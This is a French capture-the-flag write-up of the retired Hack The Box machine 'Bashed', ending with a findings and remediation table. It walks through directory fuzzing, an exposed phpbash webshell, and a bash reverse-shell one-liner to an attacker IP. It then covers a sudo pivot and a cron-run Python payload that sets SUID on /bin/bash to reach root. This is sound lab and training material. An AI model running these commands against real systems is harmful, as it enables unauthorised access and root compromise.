Linux Easy
Bashed : webshell phpbash exposé, puis cron root
Un phpbash oublié dans /dev/ donne www-data, sudo permet de pivoter vers scriptmanager, et une tâche cron root sur un dossier inscriptible donne root.
Box retirée par Hack The Box le 9 déc. 2017. Write-up publié dans le respect des règles de la plateforme, flags masqués.
TL;DR
- Un seul service, un serveur web Apache. Le fuzzing révèle un
/dev/qui héberge unphpbash, webshell PHP interactif laissé en accès libre. - Le phpbash donne l'exécution de commandes en tant que
www-data. Un reverse shell stabilise le terminal. sudo -lmontre quewww-datapeut devenirscriptmanagersans mot de passe.- En
scriptmanager, le dossier/scriptsest inscriptible et ses scripts Python sont exécutés périodiquement par une tâche cron root. On y dépose un payload qui pose le bit SUID sur/bin/bash, puisbash -pdonne root.
Reconnaissance
nmap -sVC -T4 10.129.78.31PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development SiteUn seul port ouvert, le 80. Le titre de la page, "Arrexel's Development Site", et le nom de la box orientent vers un site de développement : le genre d'endroit où traînent souvent des outils de test oubliés.
Énumération
Fuzzing des répertoires avec ffuf, en filtrant les 404 et en activant la récursion :
ffuf -u "http://10.129.78.31/FUZZ" \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-e .bat,.cmd -fc 404 -t 40 -ac --recursion --recursion-depth 3images [Status: 301, Size: 313]
css [Status: 301, Size: 310]
uploads [Status: 301, Size: 314]
dev [Status: 301, Size: 310]
php [Status: 301, Size: 310]
fonts [Status: 301, Size: 312]
js [Status: 301, Size: 309]Deux répertoires sortent du lot : uploads et surtout dev. En parcourant /dev/, on tombe sur deux fichiers : phpbash.php et phpbash.min.php.
Le phpbash est un webshell PHP autonome avec une interface qui imite un terminal. Il est d'ailleurs signé Arrexel, l'auteur de la box. Laissé en accès libre, il donne directement l'exécution de commandes sur le serveur.
Foothold
On ouvre http://10.129.78.31/dev/phpbash.php dans le navigateur et on exécute des commandes dans l'interface. Un id confirme qu'on est www-data.
Le phpbash est pénible à l'usage : pas de session persistante, pas de cd qui tient, pas de TTY. On passe donc par un reverse shell.
Listener côté attaquant d'abord :
nc -lvnp 1337Puis dans le phpbash, on déclenche le reverse shell vers l'IP tun0 :
bash -c 'bash -i >& /dev/tcp/10.10.14.84/1337 0>&1'La connexion arrive sur le listener. On stabilise le TTY pour obtenir un vrai terminal (autocomplétion, flèches, Ctrl+C qui ne déconnecte pas) :
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xtermLe user flag est accessible directement dans le home d'arrexel :
www-data@bashed:/home/arrexel$ cat user.txtÉlévation vers l'utilisateur
Réflexe post-foothold, on regarde les droits sudo :
www-data@bashed:/home/arrexel$ sudo -l
Matching Defaults entries for www-data on bashed:
env_reset, mail_badpass, secure_path=...
User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALLwww-data peut exécuter n'importe quelle commande en tant que scriptmanager, sans mot de passe. On bascule :
sudo -u scriptmanager /bin/bashÉlévation vers root
En scriptmanager, le répertoire /scripts attire l'attention :
scriptmanager@bashed:/$ ls -la /scripts
drwxrwxr-- 2 scriptmanager scriptmanager 4096 .
drwxr-xr-x 23 root root 4096 ..
-rw-r--r-- 1 scriptmanager scriptmanager 58 test.py
-rw-r--r-- 1 root root 12 test.txtLe détail qui trahit le vecteur : test.py appartient à scriptmanager, mais test.txt (le fichier qu'il produit) appartient à root et porte une date de modification récente. Autrement dit, une tâche cron root exécute les scripts de /scripts à intervalle régulier, et scriptmanager a les droits d'écriture sur le dossier.
On réécrit test.py pour poser le bit SUID sur /bin/bash. Heredoc quoté pour éviter toute galère d'échappement :
cat > /scripts/test.py << 'EOF'
import os
os.system("chmod +s /bin/bash")
EOFAu bout d'une minute (la cron tourne environ toutes les minutes), le bit SUID est posé :
scriptmanager@bashed:/$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1037528 /bin/bashLe s à la place du x confirme. On lance un bash en conservant les privilèges :
/bin/bash -pbash-4.3# id
uid=1001(scriptmanager) gid=1001(scriptmanager) euid=0(root) egid=0(root) groups=0(root),1001(scriptmanager)
bash-4.3# cat /root/root.txtL'euid=0(root) confirme root. Le flag est dans /root/root.txt (et non /home/root, root étant le seul utilisateur dont le home est à la racine).
Findings
| # | Constat | Sévérité (CVSS v4) | Remédiation |
|---|---|---|---|
| F1 | Webshell phpbash exposé publiquement dans /dev/ (RCE non authentifiée) | Critique | Retirer tout outil de test des répertoires servis, restreindre /dev/ par authentification et IP |
| F2 | Répertoire de développement listable et outils oubliés en production | Moyenne | Désactiver le listing, séparer les environnements de dev et de prod |
| F3 | Règle sudo trop large (www-data → scriptmanager, NOPASSWD: ALL) | Élevée | Limiter sudo aux seules commandes nécessaires, jamais ALL |
| F4 | Tâche cron root exécutant des scripts dans un dossier inscriptible par un utilisateur non privilégié | Critique | Faire tourner la cron sur un dossier appartenant à root, non inscriptible, et valider les scripts exécutés |
Leçons apprises
- Le fuzzing de répertoires reste le socle sur une box web : ici tout part d'un
/dev/oublié. Penser à activer la récursion pour ne pas manquer un fichier enfoui. - Un webshell comme phpbash donne un accès instable : passer en reverse shell puis stabiliser le TTY (
pty.spawn+stty raw -echo+TERM) change complètement le confort de travail. sudo -lavant tout le reste : le pivot utilisateur était là, pas dans les SUID.- Un fichier produit par un script mais appartenant à root est le signe révélateur d'une tâche planifiée privilégiée. Si le dossier est inscriptible, c'est le vecteur root.
- Pour un payload, un heredoc quoté évite les cauchemars d'échappement de guillemets : viser la solution avec le moins de niveaux de quotes possible (ici le SUID bash plutôt que la ligne sudoers).